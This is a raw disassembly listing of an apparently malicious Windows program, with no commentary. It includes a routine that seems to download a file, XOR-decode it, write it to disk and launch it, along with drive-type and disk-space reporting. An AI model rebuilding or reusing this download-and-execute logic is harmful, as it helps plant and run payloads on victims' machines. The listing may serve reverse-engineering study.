		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		call	near ptr 2710000h
		nop
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	dword_4CB6A4
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	dword_4CB66C
		cmp	eax, ebx
		jl	loc_41617C
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	loc_41617C
		sub	[ebp+8], eax
		jnz	loc_41604A
		mov	edi, [ebp-18h]


loc_4160E7:				; CODE XREF: ___:0041603Fj
		push	dword ptr [ebp-8]
		call	near ptr 2670894h
		nop
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_437BA8
		push	eax
		call	sub_41B886


loc_416120:				; CODE XREF: ___:00415FF7j
		add	esp, 14h


loc_416123:				; CODE XREF: ___:00416030j
		cmp	[ebp-50h], esi
		jnz	short loc_416148
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A73
		add	esp, 14h


loc_416148:				; CODE XREF: ___:00416126j
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_4151AD
		cmp	edi, esi
		pop	ecx
		jbe	short loc_416160
		push	edi
		call	dword_4CB6EC


loc_416160:				; CODE XREF: ___:00416157j
		push	dword ptr [ebp-1F8h]
		call	dword_4CB6EC
		push	dword ptr [ebp-58h]
		call	sub_40B413
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0000h


loc_41617C:				; CODE XREF: ___:004160CAj
					; ___:004160D5j
		push	esi
		mov	esi, offset dword_437B90
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A73
		push	esi
		call	sub_4151AD
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	dword_4CB6EC
		push	dword ptr [ebp-58h]
		call	sub_40B413
		pop	ecx
		push	ebx
		call	near ptr 26F0000h
		nop


loc_4161BD:				; DATA XREF: sub_401ACD+7B4o
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		nop
		call	near ptr 2680B57h
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_429AD0
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		call	near ptr 2710776h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416247
		push	offset unk_437D0C
		jmp	short loc_41628D
; ---------------------------------------------------------------------------


loc_416247:				; CODE XREF: ___:0041623Ej
		push	eax
		call	near ptr 2670894h
		nop
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41B4C2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_41626F
		push	offset unk_437CDC
		jmp	short loc_41628D
; ---------------------------------------------------------------------------


loc_41626F:				; CODE XREF: ___:00416266j
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_415BD4
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_4162A0
		push	offset unk_437CBC


loc_41628D:				; CODE XREF: ___:00416245j
					; ___:0041626Dj
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_41639C
; ---------------------------------------------------------------------------


loc_4162A0:				; CODE XREF: ___:00416286j
		mov	esi, 1000h


loc_4162A5:				; CODE XREF: ___:0041630Bj
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB66C
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41636C
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41630D
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41D2B4
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	dword_4CB650
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB6A4
		jmp	short loc_4162A5
; ---------------------------------------------------------------------------


loc_41630D:				; CODE XREF: ___:004162D5j
		lea	eax, [ebp-4C4h]
		push	offset dword_437B90
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A73
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AD
		push	dword ptr [ebp-4]
		call	sub_41B05B
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	dword_4CB6EC
		push	dword ptr [ebp-1Ch]
		call	sub_40B413
		pop	ecx
		push	1
		nop
		call	near ptr 26F0000h


loc_41636C:				; CODE XREF: ___:004162CCj
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_437C90
		push	eax
		call	sub_41B886
		add	esp, 14h


loc_41639C:				; CODE XREF: ___:0041629Bj
		cmp	[ebp-14h], ebx
		jnz	short loc_4163C1
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A73
		add	esp, 14h


loc_4163C1:				; CODE XREF: ___:0041639Fj
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AD
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_4163DC
		push	dword ptr [ebp-4]
		call	sub_41B05B
		pop	ecx


loc_4163DC:				; CODE XREF: ___:004163D1j
		cmp	[ebp+8], ebx
		jbe	short loc_4163EA
		push	dword ptr [ebp+8]
		call	dword_4CB6EC


loc_4163EA:				; CODE XREF: ___:004163DFj
		push	dword ptr [ebp-1Ch]
		call	sub_40B413
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h


loc_4163FA:				; DATA XREF: sub_401ACD+627Ao
					; sub_401ACD+6ABAo
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_4CB604
		call	dword_4CB558
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_416886
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		nop
		call	near ptr 2710776h
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_4164C1
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_437ED8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4164A4
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		add	esp, 14h


loc_4164A4:				; CODE XREF: ___:00416482j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		push	dword ptr [ebp-48h]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0000h


loc_4164C1:				; CODE XREF: ___:00416462j
		xor	edi, edi
		nop
		call	near ptr 26A0871h
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41B4D5
		pop	ecx
		mov	[ebp-1Ch], eax


loc_4164DB:				; CODE XREF: ___:004165AEj
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_4CB560
		cmp	[ebp-34h], esi
		jz	short loc_41651F
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4168EC
		pop	ecx
		pop	ecx


loc_41651F:				; CODE XREF: ___:0041650Cj
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		nop
		call	near ptr 2700000h
		cmp	edi, ebx
		jnb	short loc_41655D
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_416547
		mov	eax, [ebp+8]


loc_416547:				; CODE XREF: ___:00416542j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch


loc_41655D:				; CODE XREF: ___:00416539j
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_41656A
		cmp	edi, [ebp-3Ch]
		ja	short loc_4165B4


loc_41656A:				; CODE XREF: ___:00416563j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_416584
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437EB0
		jmp	short loc_416594
; ---------------------------------------------------------------------------


loc_416584:				; CODE XREF: ___:00416570j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437E88


loc_416594:				; CODE XREF: ___:00416582j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_43E390
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_4164DB


loc_4165B4:				; CODE XREF: ___:00416568j
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_416609
		cmp	edi, [ebp-3Ch]
		jz	short loc_416609
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_437E5C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		add	esp, 28h


loc_416609:				; CODE XREF: ___:004165BEj
					; ___:004165C3j
		nop
		call	near ptr 26A0871h
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	near ptr 2670894h
		nop
		push	dword ptr [ebp-1Ch]
		call	sub_41B0B1
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_416693
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_416693
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_437E34
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		add	esp, 28h


loc_416693:				; CODE XREF: ___:0041663Bj
					; ___:0041664Dj
		cmp	[ebp-14h], esi
		jz	loc_4168D3
		cmp	dword ptr [ebp-44h], 1
		jz	loc_41678E
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276A8
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276A8
		fstp	qword ptr [esp]
		push	offset unk_437DFC
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_41670E
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		add	esp, 14h


loc_41670E:				; CODE XREF: ___:004166ECj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_4168D3
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CB5C0
		cmp	[ebp-30h], esi
		jnz	loc_4168D3
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_437DE0
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		add	esp, 24h
		jmp	loc_4168D3
; ---------------------------------------------------------------------------


loc_41678E:				; CODE XREF: ___:004166A0j
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276A8
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276A8
		fstp	qword ptr [esp]
		push	offset unk_437D9C
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4167F6
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		add	esp, 14h


loc_4167F6:				; CODE XREF: ___:004167D4j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset dword_43D808
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		call	near ptr 2670C18h
		nop
		cmp	eax, edi
		jnz	short loc_416878
		call	dword_4CB5AC
		call	sub_41835A
		push	esi
		nop
		call	near ptr 77E75CB5h


loc_416878:				; CODE XREF: ___:00416864j
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_437D68
		jmp	short loc_416892
; ---------------------------------------------------------------------------


loc_416886:				; CODE XREF: ___:0041643Fj
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437D3C


loc_416892:				; CODE XREF: ___:00416884j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4168C6
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A73
		add	esp, 14h


loc_4168C6:				; CODE XREF: ___:004168A4j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_4168D3:				; CODE XREF: ___:00416696j
					; ___:0041671Fj ...
		push	dword ptr [ebp-18h]
		call	dword_4CB688
		push	dword ptr [ebp-48h]
		call	sub_40B413
		pop	ecx
		push	esi
		call	near ptr 26F0000h
		nop

; =============== S U B	R O U T	I N E =======================================



sub_4168EC	proc near		; CODE XREF: ___:00416518p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416908


loc_4168F8:				; CODE XREF: sub_4168EC+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_4168F8

locret_416908:				; CODE XREF: sub_4168EC+Aj
		retn
sub_4168EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_416909	proc near		; CODE XREF: sub_401ACD+5842p
					; sub_401ACD+596Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41D3BE
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416909	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416923	proc near		; CODE XREF: sub_40F96B+458p
					; sub_40F96B+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D3288
		push	0
		push	edi
		call	sub_41B590
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_416948:				; CODE XREF: sub_416923+5Bj
					; sub_416923+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41D480
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41D410
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416986
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416948
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416948
; ---------------------------------------------------------------------------


loc_416986:				; CODE XREF: sub_416923+4Bj
		dec	esi
		mov	eax, edi


loc_416989:				; CODE XREF: sub_416923+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416998
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416989
; ---------------------------------------------------------------------------


loc_416998:				; CODE XREF: sub_416923+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416923	endp


; =============== S U B	R O U T	I N E =======================================



sub_4169A2	proc near		; CODE XREF: sub_416B57+51p
					; sub_416B57+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CB6B4
		sub	eax, 0
		jz	short loc_4169E5
		dec	eax
		jz	short loc_4169DF
		dec	eax
		dec	eax
		jz	short loc_4169D9
		dec	eax
		jz	short loc_4169D3
		dec	eax
		jz	short loc_4169CD
		dec	eax
		jz	short loc_4169C7
		mov	eax, offset word_437F2C
		retn
; ---------------------------------------------------------------------------


loc_4169C7:				; CODE XREF: sub_4169A2+1Dj
		mov	eax, offset off_437F28
		retn
; ---------------------------------------------------------------------------


loc_4169CD:				; CODE XREF: sub_4169A2+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_4169D3:				; CODE XREF: sub_4169A2+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_4169D9:				; CODE XREF: sub_4169A2+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_4169DF:				; CODE XREF: sub_4169A2+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_4169E5:				; CODE XREF: sub_4169A2+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_4169A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4169EB	proc near		; CODE XREF: sub_416A33+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CB544
		test	eax, eax
		jz	short loc_416A20
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax


loc_416A20:				; CODE XREF: sub_4169EB+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_4169EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A33	proc near		; CODE XREF: sub_416B57+17p
					; sub_41AA43+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4169EB
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B11
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B11
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B11
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		pop	ebx
		jmp	short loc_416B43
; ---------------------------------------------------------------------------


loc_416B11:				; CODE XREF: sub_416A33+2Cj
					; sub_416A33+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_416B43:				; CODE XREF: sub_416A33+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416A33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B57	proc near		; CODE XREF: sub_416C29+17p
					; sub_416C29+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416A33
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416BCA
		push	ebx
		push	ebx
		call	sub_4169A2
		pop	ecx
		push	eax
		push	offset unk_437F7C
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_416BFE
; ---------------------------------------------------------------------------


loc_416BCA:				; CODE XREF: sub_416B57+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_4169A2
		pop	ecx
		push	eax
		push	offset unk_437F40
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 20h


loc_416BFE:				; CODE XREF: sub_416B57+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_4151AD
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416B57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C29	proc near		; CODE XREF: sub_401ACD+2554p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416C4A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B57
		add	esp, 10h
		jmp	short loc_416CAB
; ---------------------------------------------------------------------------


loc_416C4A:				; CODE XREF: sub_416C29+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CB5BC
		lea	esi, [eax+2]
		push	esi
		call	sub_41B4D5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CB5BC
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_416CA2


loc_416C6E:				; CODE XREF: sub_416C29+77j
		push	offset off_437FB8
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416C91
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B57
		add	esp, 10h


loc_416C91:				; CODE XREF: sub_416C29+54j
		push	esi
		call	sub_41AFE0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_416C6E


loc_416CA2:				; CODE XREF: sub_416C29+43j
		push	edi
		call	sub_41B0B1
		pop	ecx
		pop	edi
		pop	esi


loc_416CAB:				; CODE XREF: sub_416C29+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416C29	endp

; ---------------------------------------------------------------------------
word_416CAE	dw 8B55h		; DATA XREF: sub_401ACD+68A0o
		dd 9CEC81ECh, 8B000004h, 56530845h, 0A7B957h, 0F08B0000h
